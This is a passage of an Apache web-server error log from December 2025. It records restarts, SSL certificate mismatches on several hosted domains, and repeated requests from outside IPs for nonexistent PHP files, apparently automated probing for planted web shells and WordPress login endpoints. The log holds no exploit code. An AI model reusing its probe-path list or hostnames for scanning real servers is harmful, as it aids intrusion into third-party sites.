21106:tid 21109] [client 52.169.148.186:54082] File does not exist: /usr/local/apache/htdocs/nfile.php [Wed Dec 17 02:57:48.322773 2025] [:error] [pid 21044:tid 21047] [client 52.169.148.186:54084] File does not exist: /usr/local/apache/htdocs/enclas.php [Wed Dec 17 02:57:48.412178 2025] [:error] [pid 21043:tid 21073] [client 52.169.148.186:54086] File does not exist: /usr/local/apache/htdocs/ouh.php [Wed Dec 17 02:57:48.501826 2025] [:error] [pid 20969:tid 20994] [client 52.169.148.186:54088] File does not exist: /usr/local/apache/htdocs/dlu.php [Wed Dec 17 02:57:48.595049 2025] [:error] [pid 21106:tid 21131] [client 52.169.148.186:54090] File does not exist: /usr/local/apache/htdocs/filer.php [Wed Dec 17 02:57:48.748319 2025] [:error] [pid 21106:tid 21116] [client 52.169.148.186:54092] File does not exist: /usr/local/apache/htdocs/a2.php [Wed Dec 17 02:57:48.843070 2025] [:error] [pid 21044:tid 21066] [client 52.169.148.186:54094] File does not exist: /usr/local/apache/htdocs/3.php [Wed Dec 17 02:57:48.975580 2025] [:error] [pid 21043:tid 21074] [client 52.169.148.186:54096] File does not exist: /usr/local/apache/htdocs/he.php [Wed Dec 17 02:57:49.073608 2025] [:error] [pid 20969:tid 20996] [client 52.169.148.186:54098] File does not exist: /usr/local/apache/htdocs/mpxct.php [Wed Dec 17 02:57:49.162934 2025] [:error] [pid 21106:tid 21120] [client 52.169.148.186:54100] File does not exist: /usr/local/apache/htdocs/system_log.php [Wed Dec 17 02:57:49.252350 2025] [:error] [pid 21043:tid 21090] [client 52.169.148.186:54102] File does not exist: /usr/local/apache/htdocs/size.php [Wed Dec 17 02:57:49.343745 2025] [:error] [pid 20969:tid 20987] [client 52.169.148.186:54104] File does not exist: /usr/local/apache/htdocs/ilex.php [Wed Dec 17 02:57:49.436614 2025] [:error] [pid 21044:tid 21046] [client 52.169.148.186:54106] File does not exist: /usr/local/apache/htdocs/0x0x.php [Wed Dec 17 02:57:49.526302 2025] [:error] [pid 21106:tid 21114] [client 52.169.148.186:54108] File does not exist: /usr/local/apache/htdocs/finny.php [Wed Dec 17 02:57:49.620533 2025] [:error] [pid 20969:tid 20982] [client 52.169.148.186:54110] File does not exist: /usr/local/apache/htdocs/222.php [Wed Dec 17 02:57:49.721308 2025] [:error] [pid 20969:tid 20985] [client 52.169.148.186:54114] File does not exist: /usr/local/apache/htdocs/tor.php [Wed Dec 17 02:57:49.811203 2025] [:error] [pid 21106:tid 21121] [client 52.169.148.186:54118] File does not exist: /usr/local/apache/htdocs/030.php [Wed Dec 17 02:57:49.900747 2025] [:error] [pid 21106:tid 21125] [client 52.169.148.186:54120] File does not exist: /usr/local/apache/htdocs/gt.php [Wed Dec 17 02:57:49.992683 2025] [:error] [pid 21044:tid 21070] [client 52.169.148.186:54122] File does not exist: /usr/local/apache/htdocs/n.php [Wed Dec 17 02:57:50.082195 2025] [:error] [pid 21043:tid 21083] [client 52.169.148.186:54124] File does not exist: /usr/local/apache/htdocs/file18.php [Wed Dec 17 02:57:50.216019 2025] [:error] [pid 21106:tid 21119] [client 52.169.148.186:54126] File does not exist: /usr/local/apache/htdocs/12.php [Wed Dec 17 02:57:50.307461 2025] [:error] [pid 21043:tid 21078] [client 52.169.148.186:54128] File does not exist: /usr/local/apache/htdocs/image.php [Wed Dec 17 02:57:50.399519 2025] [:error] [pid 21106:tid 21124] [client 52.169.148.186:54130] File does not exist: /usr/local/apache/htdocs/11.php [Wed Dec 17 02:57:50.521735 2025] [:error] [pid 20969:tid 20978] [client 52.169.148.186:54132] File does not exist: /usr/local/apache/htdocs/ton.php [Wed Dec 17 02:57:50.613793 2025] [:error] [pid 21044:tid 21063] [client 52.169.148.186:54134] File does not exist: /usr/local/apache/htdocs/vee.php [Wed Dec 17 02:57:50.703116 2025] [:error] [pid 21043:tid 21089] [client 52.169.148.186:54136] File does not exist: /usr/local/apache/htdocs/alpa.php [Wed Dec 17 02:57:50.792516 2025] [:error] [pid 20969:tid 20980] [client 52.169.148.186:54138] File does not exist: /usr/local/apache/htdocs/ab.php [Wed Dec 17 02:57:50.897911 2025] [:error] [pid 21043:tid 21087] [client 52.169.148.186:54140] File does not exist: /usr/local/apache/htdocs/r79.php [Wed Dec 17 02:57:51.023621 2025] [:error] [pid 21106:tid 21111] [client 52.169.148.186:54142] File does not exist: /usr/local/apache/htdocs/2clas.php [Wed Dec 17 02:57:51.197631 2025] [:error] [pid 21106:tid 21129] [client 52.169.148.186:54144] File does not exist: /usr/local/apache/htdocs/asgtt.php [Wed Dec 17 02:57:51.292213 2025] [:error] [pid 21043:tid 21097] [client 52.169.148.186:54146] File does not exist: /usr/local/apache/htdocs/lv.php [Wed Dec 17 02:57:51.433961 2025] [:error] [pid 21106:tid 21127] [client 52.169.148.186:54148] File does not exist: /usr/local/apache/htdocs/fex.php [Wed Dec 17 02:57:51.529149 2025] [:error] [pid 20969:tid 20993] [client 52.169.148.186:54150] File does not exist: /usr/local/apache/htdocs/redi.php [Wed Dec 17 02:57:51.671739 2025] [:error] [pid 20969:tid 20986] [client 52.169.148.186:54152] File does not exist: /usr/local/apache/htdocs/ar.php [Wed Dec 17 02:57:51.783387 2025] [:error] [pid 21043:tid 21094] [client 52.169.148.186:54154] File does not exist: /usr/local/apache/htdocs/bless11.php [Wed Dec 17 03:22:24.465719 2025] [mpm_event:notice] [pid 20083:tid 20083] AH00492: caught SIGWINCH, shutting down gracefully [Wed Dec 17 03:22:27.829770 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 20235 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:27.829847 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 20237 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:27.829874 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 20468 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:27.829893 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 11215 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:27.829903 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 21044 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:29.832109 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 20235 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:29.832190 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 20237 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:29.832207 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 20468 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:29.832219 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 11215 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:29.832227 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 21044 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:31.834441 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 20235 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:31.834508 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 20237 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:31.834525 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 20468 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:31.834537 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 11215 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:31.834550 2025] [core:warn] [pid 20083:tid 20083] AH00045: child process 21044 still did not exit, sending a SIGTERM [Wed Dec 17 03:22:33.836703 2025] [core:error] [pid 20083:tid 20083] AH00046: child process 20235 still did not exit, sending a SIGKILL [Wed Dec 17 03:22:33.836774 2025] [core:error] [pid 20083:tid 20083] AH00046: child process 20237 still did not exit, sending a SIGKILL [Wed Dec 17 03:22:33.836786 2025] [core:error] [pid 20083:tid 20083] AH00046: child process 20468 still did not exit, sending a SIGKILL [Wed Dec 17 03:22:33.836801 2025] [core:error] [pid 20083:tid 20083] AH00046: child process 11215 still did not exit, sending a SIGKILL [Wed Dec 17 03:22:33.836814 2025] [core:error] [pid 20083:tid 20083] AH00046: child process 21044 still did not exit, sending a SIGKILL [Wed Dec 17 03:24:05.233635 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.234699 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.235461 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.266281 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.267015 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.267568 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.273134 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.273836 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.274385 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.276498 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.277615 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.278514 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.288685 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.289517 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.290048 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.291173 2025] [ssl:warn] [pid 25949:tid 25949] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.292031 2025] [:notice] [pid 25949:tid 25949] ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/) configured. [Wed Dec 17 03:24:05.292044 2025] [:notice] [pid 25949:tid 25949] ModSecurity: APR compiled version="1.6.2"; loaded version="1.6.2" [Wed Dec 17 03:24:05.292050 2025] [:notice] [pid 25949:tid 25949] ModSecurity: PCRE compiled version="8.32 "; loaded version="8.32 2012-11-30" [Wed Dec 17 03:24:05.292053 2025] [:notice] [pid 25949:tid 25949] ModSecurity: LIBXML compiled version="2.9.1" [Wed Dec 17 03:24:05.292122 2025] [:notice] [pid 25949:tid 25949] ModSecurity: StatusEngine call: "2.9.1,Apache/2.4.62 (Unix) Open,1.6.2/1.6.2,8.32/8.32 2012-11-30,(null),2.9.1,64584df529829600207ff78fc29040b2d979f2a3" [Wed Dec 17 03:24:05.368495 2025] [:notice] [pid 25949:tid 25949] ModSecurity: StatusEngine call successfully sent. For more information visit: http://status.modsecurity.org/ [Wed Dec 17 03:24:05.445790 2025] [ssl:warn] [pid 25950:tid 25950] AH01873: Init: Session Cache is not configured [hint: SSLSessionCache] [Wed Dec 17 03:24:05.452333 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.452942 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.453545 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.475887 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.476478 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.476995 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.480858 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.481517 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.482049 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.483185 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.483803 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.484298 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.491021 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.491631 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.492147 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.493642 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.499921 2025] [mpm_event:notice] [pid 25950:tid 25950] AH00489: Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips configured -- resuming normal operations [Wed Dec 17 03:24:05.499985 2025] [core:notice] [pid 25950:tid 25950] AH00094: Command line: '/usr/local/apache/bin/httpd' [Wed Dec 17 03:24:05.897263 2025] [mpm_event:notice] [pid 25950:tid 25950] AH00493: SIGUSR1 received. Doing graceful restart [Wed Dec 17 03:24:05.987035 2025] [ssl:warn] [pid 25950:tid 25950] AH01873: Init: Session Cache is not configured [hint: SSLSessionCache] [Wed Dec 17 03:24:05.995047 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.996090 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:05.996612 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.021777 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.022772 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.023382 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.028570 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.029552 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.030326 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.032139 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.033163 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.033969 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.042772 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.043464 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.044279 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.046147 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:06.047174 2025] [mpm_event:notice] [pid 25950:tid 25950] AH00489: Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips configured -- resuming normal operations [Wed Dec 17 03:24:06.047189 2025] [core:notice] [pid 25950:tid 25950] AH00094: Command line: '/usr/local/apache/bin/httpd' [Wed Dec 17 03:24:09.273630 2025] [mpm_event:notice] [pid 25950:tid 25950] AH00493: SIGUSR1 received. Doing graceful restart [Wed Dec 17 03:24:09.354242 2025] [ssl:warn] [pid 25950:tid 25950] AH01873: Init: Session Cache is not configured [hint: SSLSessionCache] [Wed Dec 17 03:24:09.359831 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.360405 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.360900 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.380453 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.381511 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.382336 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.386195 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.386787 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.387272 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.388441 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.389108 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.389959 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.396550 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.397205 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.397728 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.398774 2025] [ssl:warn] [pid 25950:tid 25950] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:09.399614 2025] [mpm_event:notice] [pid 25950:tid 25950] AH00489: Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips configured -- resuming normal operations [Wed Dec 17 03:24:09.399623 2025] [core:notice] [pid 25950:tid 25950] AH00094: Command line: '/usr/local/apache/bin/httpd' [Wed Dec 17 03:24:11.480237 2025] [mpm_event:notice] [pid 25950:tid 25950] AH00492: caught SIGWINCH, shutting down gracefully [Wed Dec 17 03:24:11.627031 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.627859 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.628385 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.650447 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.651133 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.651805 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.655785 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.656377 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.656898 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.658030 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.658616 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.659567 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.665901 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.666536 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.667298 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.668461 2025] [ssl:warn] [pid 26395:tid 26395] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.668966 2025] [:notice] [pid 26395:tid 26395] ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/) configured. [Wed Dec 17 03:24:11.668977 2025] [:notice] [pid 26395:tid 26395] ModSecurity: APR compiled version="1.6.2"; loaded version="1.6.2" [Wed Dec 17 03:24:11.668983 2025] [:notice] [pid 26395:tid 26395] ModSecurity: PCRE compiled version="8.32 "; loaded version="8.32 2012-11-30" [Wed Dec 17 03:24:11.668986 2025] [:notice] [pid 26395:tid 26395] ModSecurity: LIBXML compiled version="2.9.1" [Wed Dec 17 03:24:11.669082 2025] [:notice] [pid 26395:tid 26395] ModSecurity: StatusEngine call: "2.9.1,Apache/2.4.62 (Unix) Open,1.6.2/1.6.2,8.32/8.32 2012-11-30,(null),2.9.1,64584df529829600207ff78fc29040b2d979f2a3" [Wed Dec 17 03:24:11.754684 2025] [:notice] [pid 26395:tid 26395] ModSecurity: StatusEngine call successfully sent. For more information visit: http://status.modsecurity.org/ [Wed Dec 17 03:24:11.833862 2025] [ssl:warn] [pid 26396:tid 26396] AH01873: Init: Session Cache is not configured [hint: SSLSessionCache] [Wed Dec 17 03:24:11.840384 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: cpanel.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.841424 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: mail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.842248 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: webmail.see.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.863382 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: cpanel.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.864021 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: mail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.864533 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: webmail.iglelosolivos.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.868241 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: cpanel.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.869431 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: mail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.870169 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: webmail.esbyd.reskate.org:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.871272 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: cpanel.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.871869 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: mail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.872369 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: webmail.dev.todocafe.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.878895 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: cpanel.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.879508 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: mail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.880028 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: webmail.cli-see.quesphina.pe:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.881129 2025] [ssl:warn] [pid 26396:tid 26396] AH01909: qexplorer.ayqiq.pw:443:0 server certificate does NOT include an ID which matches the server name [Wed Dec 17 03:24:11.885071 2025] [mpm_event:notice] [pid 26396:tid 26396] AH00489: Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips configured -- resuming normal operations [Wed Dec 17 03:24:11.885140 2025] [core:notice] [pid 26396:tid 26396] AH00094: Command line: '/usr/local/apache/bin/httpd' [Wed Dec 17 03:25:12.556558 2025] [:error] [pid 26418:tid 26498] [client 103.141.144.222:41748] File does not exist: /usr/local/apache/htdocs/wp-login.php, referer: https://www.google.com [Wed Dec 17 05:13:56.347549 2025] [:error] [pid 26922:tid 26925] [client 34.170.1.140:54394] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 05:13:56.559446 2025] [:error] [pid 26418:tid 26489] [client 34.170.1.140:54410] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Wed Dec 17 06:49:49.699106 2025] [:error] [pid 26418:tid 26497] [client 52.141.46.214:38468] File does not exist: /usr/local/apache/htdocs/amniotic.php [Wed Dec 17 06:49:49.911791 2025] [:error] [pid 26418:tid 26500] [client 52.141.46.214:38472] File does not exist: /usr/local/apache/htdocs/maghrib.php [Wed Dec 17 06:49:50.112533 2025] [:error] [pid 26922:tid 26931] [client 52.141.46.214:38478] File does not exist: /usr/local/apache/htdocs/byby.php [Wed Dec 17 06:49:50.315059 2025] [:error] [pid 26420:tid 26459] [client 52.141.46.214:38480] File does not exist: 